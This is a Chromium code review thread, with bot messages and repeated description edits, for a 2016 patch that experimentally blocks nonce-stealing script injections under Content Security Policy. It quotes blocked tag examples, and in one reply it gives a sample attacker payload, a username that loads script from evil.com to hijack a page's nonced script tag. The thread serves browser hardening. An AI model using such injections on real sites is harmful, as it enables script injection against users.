CSP: Experimentally harden against nonce-stealing injections.

CSP: Experimentally harden against nonce-stealing injections.

As discussed in https://github.com/w3c/webappsec-csp/issues/98, this
patch prevents execution of script via a nonce if an attribute named
"<script" or "<style" is present, or if an attribute's value contains
"<script" or "<style".

That is, given `script-src 'nonce-abc'`, the following will execute:

    <script nonce=abc>
      // yay
    </script>

But the following will not:

    <script <script nonce=abc>
      // yay
    </script>
    <script attribute="<script" nonce=abc>
      // yay
    </script>
    <script <style nonce=abc>
      // yay
    </script>
    <script attribute="<style" nonce=abc>
      // yay
    </script>

Let's see if this is web-compatible, shall we? This patch locks the new
behavior behind the experimental flag, and adds metrics that should
help us understand what the real-world impact would be.

BUG=639293
Committed: https://crrev.com/91dc56cc74916618193dfad3f72c448ad21089cf
Cr-Commit-Position: refs/heads/master@{#415633}

[Mike West, 2016-08-19 13:33:05]

The CQ bit was checked by mkwst@chromium.org to run a CQ dry run

[commit-bot: I haz the power, 2016-08-19 13:33:17]

Dry run: CQ is trying da patch. Follow status at
 
https://chromium-cq-status.appspot.com/v2/patch-status/codereview.chromium.or...

[Mike West, 2016-08-19 13:35:19]

Description was changed from

==========
CSP: Experimentally harden against nonce-stealing injections.

As discussed in https://github.com/w3c/webappsec-csp/issues/98, this
patch prevents execution of script via a nonce if an attribute named
'<script' is present, or if an attribute's value contains "<script".
Let's see if this is web-compatible, shall we?

BUG=639293
==========

to

==========
CSP: Experimentally harden against nonce-stealing injections.

As discussed in https://github.com/w3c/webappsec-csp/issues/98, this
patch prevents execution of script via a nonce if an attribute named
'<script' is present, or if an attribute's value contains "<script".

That is, given `script-src 'nonce-abc'`, the following will execute:

    <script nonce=abc>
      // yay
    </script>

But the following will not:

    <script <script nonce=abc>
      // yay
    </script>
    <script attribute="<script" nonce=abc>
      // yay
    </script>

Let's see if this is web-compatible, shall we?

BUG=639293
==========

[Mike West, 2016-08-19 13:38:11]

mkwst@chromium.org changed reviewers:
+ estark@chromium.org

[Mike West, 2016-08-19 13:38:12]

Emily! You like CSP _and_ experiments!

[Mike West, 2016-08-19 13:51:51]

The CQ bit was checked by mkwst@chromium.org to run a CQ dry run

[commit-bot: I haz the power, 2016-08-19 13:52:09]

Dry run: CQ is trying da patch. Follow status at
 
https://chromium-cq-status.appspot.com/v2/patch-status/codereview.chromium.or...

[Mike West, 2016-08-19 14:08:44]

mkwst@chromium.org changed reviewers:
+ jww@chromium.org, yoav@yoav.ws

[Mike West, 2016-08-19 14:08:45]

+yoav, who knows things about parsing, and +jww who also loves experiments and
CSP.

[Mike West, 2016-08-19 14:43:26]

Description was changed from

==========
CSP: Experimentally harden against nonce-stealing injections.

As discussed in https://github.com/w3c/webappsec-csp/issues/98, this
patch prevents execution of script via a nonce if an attribute named
'<script' is present, or if an attribute's value contains "<script".

That is, given `script-src 'nonce-abc'`, the following will execute:

    <script nonce=abc>
      // yay
    </script>

But the following will not:

    <script <script nonce=abc>
      // yay
    </script>
    <script attribute="<script" nonce=abc>
      // yay
    </script>

Let's see if this is web-compatible, shall we?

BUG=639293
==========

to

==========
CSP: Experimentally harden against nonce-stealing injections.

As discussed in https://github.com/w3c/webappsec-csp/issues/98, this
patch prevents execution of script via a nonce if an attribute named
'<script' is present, or if an attribute's value contains "<script".

That is, given `script-src 'nonce-abc'`, the following will execute:

    <script nonce=abc>
      // yay
    </script>

But the following will not:

    <script <script nonce=abc>
      // yay
    </script>
    <script attribute="<script" nonce=abc>
      // yay
    </script>

Let's see if this is web-compatible, shall we? This patch locks the new
behavior behind the experimental flag, and adds metrics that should
help us understand what the real-world impact would be.

BUG=639293
==========

[commit-bot: I haz the power, 2016-08-19 16:17:26]

The CQ bit was unchecked by commit-bot@chromium.org

[commit-bot: I haz the power, 2016-08-19 16:17:27]

Dry run: Try jobs failed on following builders:
  win_chromium_rel_ng on master.tryserver.chromium.win (JOB_FAILED,
http://build.chromium.org/p/tryserver.chromium.win/builders/win_chromium_rel_...)

[jww, 2016-08-19 19:23:00]

https://codereview.chromium.org/2260103003/diff/20001/third_party/WebKit/Sour...
File third_party/WebKit/Source/core/frame/csp/ContentSecurityPolicy.cpp (right):

https://codereview.chromium.org/2260103003/diff/20001/third_party/WebKit/Sour...
third_party/WebKit/Source/core/frame/csp/ContentSecurityPolicy.cpp:147:
DEFINE_STATIC_LOCAL(AtomicString, scriptString, ("<script"));
What about whitespace (e.g. "< script"), albeit perhaps uncommon? Also, aren't
style elements also a concern?

In general, this seems very brittle, so I'm concerned that we're not really
solving the issue here. I'd love a comment explaining exactly what we're trying
to prevent, and if we expect it to be complete or a "best effort," sort of like
the XSS auditor.

[Mike West, 2016-08-19 20:48:41]

>
https://codereview.chromium.org/2260103003/diff/20001/third_party/WebKit/Sour...
> third_party/WebKit/Source/core/frame/csp/ContentSecurityPolicy.cpp:147:
DEFINE_STATIC_LOCAL(AtomicString, scriptString, ("<script"));
> What about whitespace (e.g. "< script"), albeit perhaps uncommon?

The notion is that the `<script` we're looking for will be in the page already,
with an injection point before it. That is "Welcome, ${NAME}! <script nonce=abc
src=playAnnoyingMusic.js></script>". The attacker signs in with a name of
`<script src=https://evil.com/yay.js `, the page renders as "Welcome <script
src=https://evil.com/yay.js ! <script nonce=abc src=playAnnoyingMusic.js>...`,
and evil happens.

I don't think we need to check for variants of `<script` in this case, because
that's not the bit the attacker has control over. That's the bit they're
tricking the browser into ignoring. Does that make sense?

> Also, aren't style elements also a concern?

Any element with a `nonce` attribute is a concern. We should possibly widen this
to look for `<script` or `<style`, but I figured that starting small would be
reasonable in the short term, since this is behind a flag for measurement
anyway.

> In general, this seems very brittle, so I'm concerned that we're not really
solving the issue here. I'd love a comment explaining exactly what we're trying
to prevent, and if we expect it to be complete or a "best effort," sort of like
the XSS auditor.

Does the above explain things more clearly than the CL description?

[jww, 2016-08-19 21:01:52]

On 2016/08/19 20:48:41, Mike West (OOO until 29th) wrote:
> >
>
https://codereview.chromium.org/2260103003/diff/20001/third_party/WebKit/Sour...
> > third_party/WebKit/Source/core/frame/csp/ContentSecurityPolicy.cpp:147:
> DEFINE_STATIC_LOCAL(AtomicString, scriptString, ("<script"));
> > What about whitespace (e.g. "< script"), albeit perhaps uncommon?
> 
> The notion is that the `<script` we're looking for will be in the page
already,
> with an injection point before it. That is "Welcome, ${NAME}! <script
nonce=abc
> src=playAnnoyingMusic.js></script>". The attacker signs in with a name of
> `<script src=https://evil.com/yay.js `, the page renders as "Welcome <script
> src=https://evil.com/yay.js ! <script nonce=abc src=playAnnoyingMusic.js>...`,
> and evil happens.
> 
> I don't think we need to check for variants of `<script` in this case, because
> that's not the bit the attacker has control over. That's the bit they're
> tricking the browser into ignoring. Does that make sense?
Right, but I'm pretty sure that whitespace in tags does exist, albeit perhaps
not often. Anyway since I now understand that this is meant to be mostly for
measurement, this doesn't seem as important at the moment, although I'd love a
TODO or a comment about what the plans for whitespace (and style) are.
> 
> > Also, aren't style elements also a concern?
> 
> Any element with a `nonce` attribute is a concern. We should possibly widen
this
> to look for `<script` or `<style`, but I figured that starting small would be
> reasonable in the short term, since this is behind a flag for measurement
> anyway.
Fair enough, although as mentioned above, I'd love for an explicit TODO or
comment about style tags.
> 
> > In general, this seems very brittle, so I'm concerned that we're not really
> solving the issue here. I'd love a comment explaining exactly what we're
trying
> to prevent, and if we expect it to be complete or a "best effort," sort of
like
> the XSS auditor.
> 
> Does the above explain things more clearly than the CL description?

The fact that you just want to measure does make me happier... but I don't see
an experimental flag check anywhere. Where am I missing it?

[Mike West, 2016-08-31 09:16:09]

On 2016/08/19 at 21:01:52, jww wrote:
> > I don't think we need to check for variants of `<script` in this case,
because
> > that's not the bit the attacker has control over. That's the bit they're
> > tricking the browser into ignoring. Does that make sense?
>
> Right, but I'm pretty sure that whitespace in tags does exist, albeit perhaps
not often. Anyway since I now understand that this is meant to be mostly for
measurement, this doesn't seem as important at the moment, although I'd love a
TODO or a comment about what the plans for whitespace (and style) are.

Added `<style` to the patch. I don't think whitespace is worth dealing with,
honestly. A developer who cares about this kind of attack is a developer who can
spell HTML correctly. :)

> > Does the above explain things more clearly than the CL description?
> 
> The fact that you just want to measure does make me happier... but I don't see
an experimental flag check anywhere. Where am I missing it?

That's because I was an idiot and didn't add the check. Added in the latest
patchset!

[Mike West, 2016-08-31 09:16:15]

The CQ bit was checked by mkwst@chromium.org to run a CQ dry run

[commit-bot: I haz the power, 2016-08-31 09:16:33]

Dry run: CQ is trying da patch. Follow status at
 
https://chromium-cq-status.appspot.com/v2/patch-status/codereview.chromium.or...

[Mike West, 2016-08-31 09:16:38]

mkwst@chromium.org changed reviewers:
+ jochen@chromium.org

[Mike West, 2016-08-31 09:16:38]

Jochen, would you mind taking a look at this since jww@ is OOO?

[Mike West, 2016-08-31 09:17:05]

Description was changed from

==========
CSP: Experimentally harden against nonce-stealing injections.

As discussed in https://github.com/w3c/webappsec-csp/issues/98, this
patch prevents execution of script via a nonce if an attribute named
'<script' is present, or if an attribute's value contains "<script".

That is, given `script-src 'nonce-abc'`, the following will execute:

    <script nonce=abc>
      // yay
    </script>

But the following will not:

    <script <script nonce=abc>
      // yay
    </script>
    <script attribute="<script" nonce=abc>
      // yay
    </script>

Let's see if this is web-compatible, shall we? This patch locks the new
behavior behind the experimental flag, and adds metrics that should
help us understand what the real-world impact would be.

BUG=639293
==========

to

==========
CSP: Experimentally harden against nonce-stealing injections.

As discussed in https://github.com/w3c/webappsec-csp/issues/98, this
patch prevents execution of script via a nonce if an attribute named
'<script' is present, or if an attribute's value contains "<script".

That is, given `script-src 'nonce-abc'`, the following will execute:

    <script nonce=abc>
      // yay
    </script>

But the following will not:

    <script <script nonce=abc>
      // yay
    </script>
    <script attribute="<script" nonce=abc>
      // yay
    </script>
    <script <style nonce=abc>
      // yay
    </script>
    <script attribute="<style" nonce=abc>
      // yay
    </script>

Let's see if this is web-compatible, shall we? This patch locks the new
behavior behind the experimental flag, and adds metrics that should
help us understand what the real-world impact would be.

BUG=639293
==========

[Mike West, 2016-08-31 09:17:32]

Description was changed from

==========
CSP: Experimentally harden against nonce-stealing injections.

As discussed in https://github.com/w3c/webappsec-csp/issues/98, this
patch prevents execution of script via a nonce if an attribute named
'<script' is present, or if an attribute's value contains "<script".

That is, given `script-src 'nonce-abc'`, the following will execute:

    <script nonce=abc>
      // yay
    </script>

But the following will not:

    <script <script nonce=abc>
      // yay
    </script>
    <script attribute="<script" nonce=abc>
      // yay
    </script>
    <script <style nonce=abc>
      // yay
    </script>
    <script attribute="<style" nonce=abc>
      // yay
    </script>

Let's see if this is web-compatible, shall we? This patch locks the new
behavior behind the experimental flag, and adds metrics that should
help us understand what the real-world impact would be.

BUG=639293
==========

to

==========
CSP: Experimentally harden against nonce-stealing injections.

As discussed in https://github.com/w3c/webappsec-csp/issues/98, this
patch prevents execution of script via a nonce if an attribute named
"<script" or "<style" is present, or if an attribute's value contains
"<script" or "<style".

That is, given `script-src 'nonce-abc'`, the following will execute:

    <script nonce=abc>
      // yay
    </script>

But the following will not:

    <script <script nonce=abc>
      // yay
    </script>
    <script attribute="<script" nonce=abc>
      // yay
    </script>
    <script <style nonce=abc>
      // yay
    </script>
    <script attribute="<style" nonce=abc>
      // yay
    </script>

Let's see if this is web-compatible, shall we? This patch locks the new
behavior behind the experimental flag, and adds metrics that should
help us understand what the real-world impact would be.

BUG=639293
==========

[Yoav Weiss, 2016-08-31 10:49:59]

From my perspective, LGTM % the comments that jww@ asked for

https://codereview.chromium.org/2260103003/diff/40001/third_party/WebKit/Sour...
File third_party/WebKit/Source/core/frame/csp/ContentSecurityPolicy.cpp (right):

https://codereview.chromium.org/2260103003/diff/40001/third_party/WebKit/Sour...
third_party/WebKit/Source/core/frame/csp/ContentSecurityPolicy.cpp:146: 
Can you add a comment here explaining what we're trying to prevent?

[jochen (gone - plz use gerrit), 2016-08-31 11:01:39]

lgtm

[commit-bot: I haz the power, 2016-08-31 11:07:34]

The CQ bit was unchecked by commit-bot@chromium.org

[commit-bot: I haz the power, 2016-08-31 11:07:35]

Dry run: This issue passed the CQ dry run.

[Mike West, 2016-08-31 12:59:21]

The CQ bit was checked by mkwst@chromium.org

[Mike West, 2016-08-31 12:59:21]

The patchset sent to the CQ was uploaded after l-g-t-m from yoav@yoav.ws,
jochen@chromium.org
Link to the patchset: https://codereview.chromium.org/2260103003/#ps60001
(title: "yoav@")

[commit-bot: I haz the power, 2016-08-31 12:59:26]

CQ is trying da patch. Follow status at
 
https://chromium-cq-status.appspot.com/v2/patch-status/codereview.chromium.or...

[Mike West, 2016-08-31 13:01:07]

Thanks to you both.

[commit-bot: I haz the power, 2016-08-31 15:08:14]

Committed patchset #4 (id:60001)

[commit-bot: I haz the power, 2016-08-31 15:10:14]

Description was changed from

==========
CSP: Experimentally harden against nonce-stealing injections.

As discussed in https://github.com/w3c/webappsec-csp/issues/98, this
patch prevents execution of script via a nonce if an attribute named
"<script" or "<style" is present, or if an attribute's value contains
"<script" or "<style".

That is, given `script-src 'nonce-abc'`, the following will execute:

    <script nonce=abc>
      // yay
    </script>

But the following will not:

    <script <script nonce=abc>
      // yay
    </script>
    <script attribute="<script" nonce=abc>
      // yay
    </script>
    <script <style nonce=abc>
      // yay
    </script>
    <script attribute="<style" nonce=abc>
      // yay
    </script>

Let's see if this is web-compatible, shall we? This patch locks the new
behavior behind the experimental flag, and adds metrics that should
help us understand what the real-world impact would be.

BUG=639293
==========

to

==========
CSP: Experimentally harden against nonce-stealing injections.

As discussed in https://github.com/w3c/webappsec-csp/issues/98, this
patch prevents execution of script via a nonce if an attribute named
"<script" or "<style" is present, or if an attribute's value contains
"<script" or "<style".

That is, given `script-src 'nonce-abc'`, the following will execute:

    <script nonce=abc>
      // yay
    </script>

But the following will not:

    <script <script nonce=abc>
      // yay
    </script>
    <script attribute="<script" nonce=abc>
      // yay
    </script>
    <script <style nonce=abc>
      // yay
    </script>
    <script attribute="<style" nonce=abc>
      // yay
    </script>

Let's see if this is web-compatible, shall we? This patch locks the new
behavior behind the experimental flag, and adds metrics that should
help us understand what the real-world impact would be.

BUG=639293

Committed: https://crrev.com/91dc56cc74916618193dfad3f72c448ad21089cf
Cr-Commit-Position: refs/heads/master@{#415633}
==========

[commit-bot: I haz the power, 2016-08-31 15:10:15]

Patchset 4 (id:??) landed as
https://crrev.com/91dc56cc74916618193dfad3f72c448ad21089cf
Cr-Commit-Position: refs/heads/master@{#415633}